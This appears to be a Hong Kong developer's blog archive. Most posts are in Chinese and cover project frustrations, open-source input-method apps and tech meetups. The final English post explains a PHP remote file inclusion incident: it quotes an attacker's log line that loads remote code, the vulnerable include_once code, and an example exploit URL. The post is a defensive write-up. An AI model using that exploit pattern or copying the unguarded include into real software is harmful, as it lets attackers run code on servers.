全部都係我們錯

全部都係我們錯.

個客改REQUIREMENT加新REQUIREMENT而無加時間, 我們趕到痴Q線, OT O 到仆晒街, 攰到抽筋, 係我們錯.

班友唔Q識寫API, 都算, 份DOC同個API又唔同, 我們跟足DOC做野唔WORK, 原來又係我們錯.

之前又話乜Q SUPPORT都有, 又話幫手這樣那樣, 有TEST ACC同CODE, 到頭來班友乜Q都唔知又唔識搞, 能力不足, 原來又係我們錯.

我們日日做到跳晒老舞, 原來中間人唔知發生事同REQUIREMENT有大更改, 班友都唔跟約做, 我們現在出聲, 又話我們遲出聲, 又係我們錯.

我們自己要理返咁Q多事情, 同之前無Q分別, 咁我點解要合作, 我不明. 我重要唔知能唔能夠收到錢……….加班費都蝕埋……………

真係, 最錯那個應該係我, 我錯晒……….

筆順五碼Android版

本人在花了一個月的空餘時間, 幫筆順五碼寫了一隻開源的Android版本.
這是本人第一隻正式發表的Android App, 和之前iOS的一樣,
我第一隻APP亦是和輸入法有關的.

寫Android App的困難, 在於其API和iOS的設計方式不同, 寫的時候要重新適應,
不過寫落覺得有些似Java Swing, 所以很快就適應過來.

自己感覺, 人們常說Android設計UI很麻煩, 但自己覺得不是太複雜,
因為Android SDK比iOS SDK多了一個功能, 就是Auto Layout,
而其方式和Java Swing的用法差不多.

不過當然, 在測試時比iOS麻煩很多, 我同一時間開了4個emulator去試,
而實體機我只有一部ASUS的TF101, 所以不知真正落實體電話後的效果如何.
請各位多多回報問題及建議

本專案位置: https://github.com/wanleung/Stroke5Keyboard-android
以GPL3.0或以上版本的授權方式, 以本人的公司LinkOmnia Ltd的名義發佈.

Android app on Google Play

筆順五碼詳情: http://stroke5.webnode.tw/

「筆順五碼」的由來及發展:
2003-04年間,因為要協助將軍澳一間老人護養院,為其中風院友進行上網課程,其中一個要求是教院友電郵溝通,一群長者就自行開發了只需用一隻手就可 以輸入中文字的免費中文輸入法──「筆順五碼」,及後再在將軍澳一所幼兒園,教授K3幼童中文輸入法,小朋友很開心地在電腦上打上自己的名 字,老 師們稱讚這個輸入法正切合他們教中文字安排。
由於以筆劃、筆順為基礎的輸入法,正是根據學習中文字的原則,老師們就是先要小童學寫筆劃,直是由上至下,橫是由左至右,然後依筆順將筆劃構成中文字。所 以「筆順五碼」的設計基礎正是所有中國人(不同年齡)的共通點,無需重新學習新的字型分拆原則。輸入鍵採用標準輸入區的一列五個鍵,簡單易 記,無 需貼紙。
「筆順五碼」在2003年由香港長者資訊天地的一群長者共同開發,以「N」「M」「,」 「.」「/」五個鍵按中文字的筆劃和筆順輸入中文字,並以GPL的分享版權開放原始碼發佈,及後陳曉陽先生將這輸入法加入SCIM系統,成為日後 Linux中文輸入法之一。之後有人將之移植至Windows 98及Windows XP應用,儲存在教育城網站供人下載,但現時已無法下載。
「筆順五碼」0.4版已超過八年歷史,沒有修訂維護,礙於當年Big-5中文內碼為主,及供中風長者作一般溝通之用,所以根據一般中國人的識字量,只可輸 入約4000中文字,一些香港常用字如屋「邨」,深水「埗」,「鰂」魚涌也未能輸入。但現時已普遍採用UniCode,所以有需要進行更新和 添 字,讓系統更益完善。

miniweb疑似侵權事件之技術分析

最近miniweb事件,來龍去脈,請移玉步到http://www.daisymarisfung.com/2012/01/16/miniweb-copyright-infringement/,不再另述,本文的目的,是談談本人的一些見解,若有任何錯漏,不吝賜教。

聲明:

  1. 商業侵權在香港是刑事罪。
  2. 在英式法律系統下,是假定無罪,即法庭一日未判,都是無罪的。
  3. miniweb有需要就其技術作出澄清及解釋,以釋除公眾的疑慮。
  4. 如各版權持有人,覺得有被miniweb侵權,請向香港海關舉報,這樣海關才有權作調查。
  5. 本人不認識miniweb公司的人,本人亦不認識Daisy本人,本人同miniweb公司及Daisy本人並無任何利益關係及交情。
  6. 本人乃MBCS,出於專業責任,本文以本人之專業,試圖由技術角度,分析有可能出現之侵權問題。
  7. 本人不是法律專家,因此版權上所給的意見,全是個人意見及立場,並不代表本人之見解是真正法律上的見解。如要尋求法律意見,請向律師或有關方面之人士查詢。
  8. 本文只係技術分析文章,是利用技術分析去探討香港版權法的灰色地帶,讓同業能正視香港版權法對我們的影響。若本文令到各位認為有明示暗示針對的話,本人在此再重申一次,本文只是技術討論文章。
  9. 我們講科學,科學講證據,若對本文之技術有意見,請提出反證。

註: 藍色字為後加修改或資料補充.

Continue reading “miniweb疑似侵權事件之技術分析”

Hacking Thursday Hong Kong – 駭能工程第一期工程完滿結束

5月19日晚是Hacking Thursday Hong Kong(H4HK-駭能工程)的首次聚會, 出乎意料的大成功. 原本活動只預8人, 最後有15人出席. 當晚由YAHOO麻雀, 到看過什麼小說, 天南地北無所不談. 當中有些小插曲, 當晚亦有另一網上組織Travel Life在同一CAFE聚會, 不少當日Travel Life聚會的參加者都認錯了我們H4HK而誤入了我們的活動.

什麼是駭能工程呢? 駭能工程是一個定期CAFE聚會, 現暫定為2星期一次, 主要由HK不同F/OSS組織成員及自由或開源軟開發者所辦, 目的是為了加強香港F/OSS的向心力, 以及吸引更多新血加入討論、開發或推廣自由或開源軟體; 以輕鬆閒聊的方式, 討論各類現時流行的IT話題、技術、甚至工作上所遇到的難題、心得、八封等, 以避開以前一直讓人覺得很嚴肅的討論來達到我們的目的. 聚會本身會採取無主題方式, 但若有參加者希望能集中討論某一主題, 可預先提出.

何解要辦這個活動呢? 有鑑於近年F/OSS活動在香港好像有些青黃不接之勢, 而且自2008年後HKLUG已經沒有任何的活動, 而其他F/OSS的活動所出席之人物來來去去都是我們這班人, 沒什麼新血. 所以希望有一些新類型的活動, 來重新凝聚香港F/OSS的力量. 所以我們參照台灣的Hacking Thursday來舉辦Hacking Thursday Hong Kong.

為何Hacking Thursday Hong Kong中文名會叫做「駭能工程」? 事緣我們在準備辦H4HK時, 忽然想要個中文名, 最初是「香港駭四」, 取其近日取熱門的「核能」的食字GAG, 四和星期四有關, 而台灣有核四, 借喻為仿台活動. 之後是「駭死香港」, 取死和四為粵語同音之意. 最後由ShawTim的「駭能工程」成為H4HK的中文名, 「駭能」取其近日取熱門的「核能」食字, 而駭能同粵語可解為「能駭的人」有關, 而「駭能工程」在英文亦可成為「駭的技術能帶領工程」的意思.

下次的聚會於6月2日, 由於有參加者提出集中討論某些題目. 所以第二期的討論會集中於OLPC及CODE REVIEW. 當然, 可以再加新題目, 或純以吹水為目的的也行.

詳情請留意官站: http://h4.opensource.hk/
以及其FACEBOOK GROUP的消息.

Barcamp 暨 Softzware Freedom Day 香港2010

今年是第一次去barcamp,前2年無去是因為barcamp在早上開始,
對於在放假會睡到差不多下午的我來說,是太早了,所以早2年都無出席。
而今年出席的原因,是因為今年的軟件自由日和barcamp是同一天,為了方便租場,
於是軟體自由日就找barcamp一同合辦,由barcamp在下午開一些時段來辦軟體自由日的活動。
當日軟體自由日的安排可到此參詳

基本上本身對barcamp的興趣不大,不知是我的偏見還是是香港的問題,
香港barcamp的topic多是和生意有關,因此本身不太感興趣。
當日其實對少部份技術topic有興趣,如AI, 但由於安排問題,
去到課室才知不是講AI, 那個AI Talk不知搬了時段還是搬了地方,最終沒有聽到,
於是求其有什麼就聽了,不過沒什麼心聽就是了。

若果講做生意,我個人認為要有idea不難,若只做中小企和個人生意,技術都不難,技術困難只會在支援多人的大型系統才會出現。
最困難是找客,因為同類產品的話,市面上實有,難在說服客轉用,以及有效宣傳的渠道,
而找投資,其本上有客的話就不愁無投資,開發軟體的好處是基本上可以不需什麼大投資……
基本上上午就是聽人說我們有什麼什麼idea,現在正找人投資;
而那些idea基本上我在99年開始辦game site時全都想過了, 不是什麼太出人意表的念頭……

整個上午覺得最有用的是一個關於怎去tune SEO的talk。

而下午,就到軟體自由日那邊充塞場面,亦是當日出席的最主要目的。
當日軟體自由日,當然由小兔黑黑打頭炮的什麼是hack的講題,
反應非常不錯,坐爆房。

而當日余亦有幫手講一個講題,題目為gateway DIY, by using Vyatta.

講題的主要目的是講我在半年前用mini itx的主板做router的經驗之談,
不過因時間關係,無講有關用這部機做雲端的試驗。

而這個DIY機器,亦將會做多次試驗,會用於OLPC的school server上。

在完結後,照過官方大合照,之後我們一眾同人,就坐在一邊閒聊,而不跟大會和大顆去pub飲食。

本人在App Store上的第一隻APP: Cangjie Traditional Chinese Input

因SERVER有問題及無時間,無寫幾個月BLOG了。一寫,就要賣一賣廣告。
小弟第一隻IPHONE APP:Cangjie Traditional Chinese Input上了APP STORE了,是一隻實際上寫給自己用的,可在IPAD上用倉頡打傳統中文的APP。不過既然寫了出來,安裝入IPAD上亦要買US$99的DEV ACCOUNT,那麼不如順手放上APP STORE做福人群。

經過1個月的等待,APPLE終於在9月16日APPROVE,經歴一星期在香港區下載第一位的寶座後,現在已跌落三十幾位,但在工具區仍是第一位。
而在9月28日APPLE亦APPROVE了1.1版,這個版本加入了速成輸入法。

其實這個Cangjie Traditional Chinese Input的打字方式,我刻意做到和我平時在電腦用英文KEYBOARD打字的情況一樣,都是按下空白鍵後才會選時,這個APP用藍牙或USB KEYBOARD上打字是一流的,因為在選字是可直接打數字去選。

本人因打倉頡是用第五代的倉頡碼,而WINDOWS用的倉頡碼是第三代的,所以本APP支援第5代和第3代的倉頡碼。
由於只是自己用,所以功能簡單,做到覺得夠用就完了。

寫這APP,輸入法的核心,認碼,其實只用了一小時就完成了,而最困難的地方是UI和收集KEYBOARD的EVENT,那裡花了2晚時間。而因為UIKeyboard這個CLASS,APPLE SDK沒有提供header file,所以不能修改KEYBOARD的字做中文字,因此只能顯示英文(雖然我習慣打英文KEYBOARD和英文倉頡碼)。

而隨著11月IOS4.2的來臨,本APP亦將會完成其歴史任務了。

Source: https://github.com/wanleung/Cangjie-iPad

參加Impromptu Code Jam

3月19日出席了由Agile Hong Kong 辦的WORKSHOP,去體驗PAIR PROGRAMMING。

之後和舊同事以及主辦單位一行13人一同食晚飯。最後回到家中已是零晨1時30分。

覺得這類WORKSHOP不錯,除了可學到不同的知識外,還可識到不少行內人。

而且這類SOLVE PROBLEM的問題,很久沒有做過,做完感覺腦筋好像清晰了不少,很久都沒試過有這樣的感覺。

之前去過不少技術交流的聚會,但像這次需要寫CODE還是第一次。

那個PROGRAM問題,之後我用PERL花了5分鐘寫了20行CODE就完成了,不過得到的答案是2531,5683,這個是有處理字的。而把數字排除在外的話,所得的答案為2534,5691。仍和他們所給的答案2530, 5680有分別。

把Debian上lenny(testing)

終於把家中的WORK STATION和LAPTOP上的DEBAIN, UPGRADE到TESTING VERSION。

GNOME的速度比以前快了些,而字體就比以前減了2個SIZE,應該FIX了上一個版本字體雖SET為同一SIZE,但在GNOME中字體比KDE大的問題。

另外TESTING VERSION中,多了開機動畫。

其他功能還在測試中。

Security Issue in PHP – include_once

There is an interesting hack in an account of our client on our webhosting service. It is an online library system of our client which is written in PHP. One day, the system admin reported that the postfix died becaue of a lot of spam mails sending from the online library system. When I checked the log and saw the log like the following:

1171167204.920 534343 xxx.xx.xx.xxx TCP_MISS/200 63463 POST http://www.example.com/php/index.php?Name=http://www.geocities.com/meet_kunleb/Login/Meet_KunleB_Mail/Logon.do.txt?

When I go the the php file and know how the cracker crack the system. The problem is about php.

<?php
...
$pagename =$_GET['Name'];
...
?>
...
<?php include_once("{$pagename}_main.inc");?>
...

The problem is that the $pagename does not have any gruad to check the value that got by $_Get[‘name’].

The function of include_once is allow to include the source from outside, http://example.com/aaa.php

So, when cracker use a ‘http://example.org/aaa.txt?’ as name, and use the url, http://example.com/php/index.php?Name=http://example.org/aaa.txt? ,

The $pagename will become http://example.org/aaa.txt? and the indule_once function will execute as:


<?php include_once("http://example.org/aaa.txt?_main.inc");?>

That will executes the php script in http://example.org/aaa.txt and _main.inc will be an ARGV for that php script. This will be a security hole of the system.

So that for security, if it is necessary to use include_once, include function in dynamic,
it has to have a check to see it is from the place you want before.